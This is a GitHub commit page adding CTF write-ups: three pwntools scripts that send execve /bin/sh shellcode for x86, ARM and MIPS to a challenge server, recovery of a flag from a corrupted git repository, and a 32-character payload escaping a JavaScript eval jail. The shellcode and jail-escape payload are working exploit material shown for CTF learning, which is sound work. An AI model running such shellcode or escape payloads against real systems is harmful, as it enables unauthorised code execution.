Skip to content

Commit 45c20c2

Browse files
committed
Create README.md
0 parents  commit 45c20c2

File tree

4 files changed

+169
-0
lines changed

4 files changed

+169
-0
lines changed

2018/babyshells/README.md

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Babyshells - Pwn
2+
> If you hold a babyshell close to your ear, you can hear a stack getting smashed
3+
4+
In this task we were given three binaries, in x86, ARM and MIPS respectively. All of them jumped into our buffer so we can send the shellcode directly on all three binaries. Then each binary gives one third of the flag.
5+
6+
x86:
7+
```
8+
p=remote("52.30.206.11",7000)
9+
p.recvuntil("> ")
10+
p.sendline("1")
11+
p.recvuntil("gimme: ")
12+
exploit = ""
13+
exploit += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
14+
p.sendline(exploit)
15+
p.interactive()
16+
```
17+
18+
ARM:
19+
```
20+
from pwn import *
21+
22+
p=remote("52.30.206.11",7001)
23+
p.recvuntil("> ")
24+
p.sendline("1")
25+
p.recvuntil("gimme: ")
26+
exploit = ""
27+
exploit += "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x92\x1a\x02\x92\x78\x46\x0e\x30\x01\x90\x01\xa9\x04\x1c\x07\x34\x22\x60\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41\xc0\x46"
28+
p.sendline(exploit)
29+
p.interactive()
30+
```
31+
32+
MIPS:
33+
```
34+
from pwn import *
35+
36+
p=remote("52.30.206.11",7002)
37+
p.recvuntil("> ")
38+
p.sendline("1")
39+
p.recvuntil("gimme: ")
40+
exploit = ""
41+
exploit += "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
42+
p.sendline(exploit)
43+
p.interactive()
44+
```

2018/diary/README.md

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# Diary - Misc
2+
> We found a torn diary on the ground. It seems to belong to a local boy.
3+
4+
In this challenge, we got a git repository. The first thing we can do is trying ````git log``` and we got the following
5+
```
6+
commit 2fec4e955704bd60292a9f9169f05c3334e555f4 (HEAD -> master)
7+
Author: Calle Svensson <[email protected]>
8+
Date: Sat Apr 14 02:22:52 2018 +0200
9+
10+
Added pencil to wishlist
11+
12+
commit b182065ebc321a5432ab89be1ef2240077b3fbec
13+
Author: Calle Svensson <[email protected]>
14+
Date: Sat Apr 14 02:20:25 2018 +0200
15+
16+
April 14th
17+
error: Could not read afe5a9b6a373add54d07d874fb08edeec4a740da
18+
fatal: Failed to traverse parents of commit e7354a8187cd28c075e602f40380968d2865dcac
19+
```
20+
This reveals that the git repository is corrupted. We can try to use the Extractor tool from the following great repository: https://github.com/internetwache/GitTools
21+
22+
After running the extractor bash script on the git repository, we look around in the files we got and the file ```1-4e9a1fe2aeb76cd0ab2c3d232691b714146b0475``` contains this content which reveals the flag:
23+
```
24+
Hello!
25+
26+
This is my diary. There are many like it but this one is mine.
27+
28+
April 9th
29+
Today was a good day. I ate some pie.
30+
31+
April 10th
32+
I was a little bit sad today.
33+
34+
April 11th
35+
Today I found a flag, it said: midnight{if_an_object_ref_falls_and_no_one_hears} that sounds very interesting.
36+
```

2018/jeil/README.md

+80
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Jeil - Web
2+
> You are awesome at breaking into stuff, how about breaking out?
3+
4+
In this challenge, we need to break out of a Javascript jail. This is the source code of it:
5+
6+
```
7+
var readline = require('readline');
8+
var rl = readline.createInterface(process.stdin, process.stdout);
9+
10+
var Jail = (function() {
11+
var rv = {};
12+
13+
function secretFuncUnguessable{{ENV_SECRET_0}}(a,b,c){
14+
if(a === '{{ENV_SECRET_1}}' && b === '{{ENV_SECRET_2}}' && c === '{{ENV_SECRET_3}}'){
15+
return true;
16+
}
17+
}
18+
19+
function call(code) {
20+
var line = "";
21+
22+
if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
23+
console.log("Unrecognized code.");
24+
throw 123;
25+
return;
26+
}
27+
28+
if(!(code.length == 32)){
29+
console.log("Incorrect code length.");
30+
throw 123;
31+
return;
32+
}
33+
34+
arguments = undefined;
35+
36+
ret = null;
37+
ret = eval("this.secretFuncUnguessable"+code);
38+
39+
if(typeof ret == "function"){
40+
if(ret.call(this,'{{ENV_SECRET_1}}', '{{ENV_SECRET_2}}', '{{ENV_SECRET_3}}') === true){
41+
console.log("{{ENV_SECRET_FLAG}}");
42+
}else{
43+
console.log("Incorrect code.");
44+
}
45+
}else{
46+
console.log("Incorrect code.");
47+
}
48+
throw 123;
49+
};
50+
rv.call = call;
51+
rv.toString = function(){return rv.call.toString()};
52+
53+
return rv;
54+
})();
55+
56+
template = `| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
57+
| Internal |
58+
|________|
59+
||
60+
(\\__/) ||
61+
(•ㅅ•) ||
62+
/   づ
63+
Code: `;
64+
65+
function ask(){
66+
rl.question(template,function(answer){
67+
Jail.call(answer);
68+
});
69+
}
70+
71+
ask();
72+
```
73+
74+
From this code, we can see that we need to fulfil the following:
75+
- input must be 32 bytes
76+
- chars must not be any of [\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]
77+
- need ret to become a function which returns true
78+
79+
Therefore, we remove the prefix by issuing it a value with = operator and random garbage. Then we use the ? ternary operator to get code execution again. Since the = operator returns true, we can use the "true case" of the ? operator to get code execution to create a lambda function with "=>". The payload that we needed was:
80+
```=1?_1=>1==1:11111111111111111111```

README.md

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
# writeups
2+
Solutions from multiple CTFs we have played
3+
4+
# Practice
5+
- https://www.hackthebox.eu/
6+
- https://www.vulnhub.com/
7+
- https://www.root-me.org/
8+
- http://pwnable.kr/
9+
- https://ctftime.org/

0 commit comments

Comments
 (0)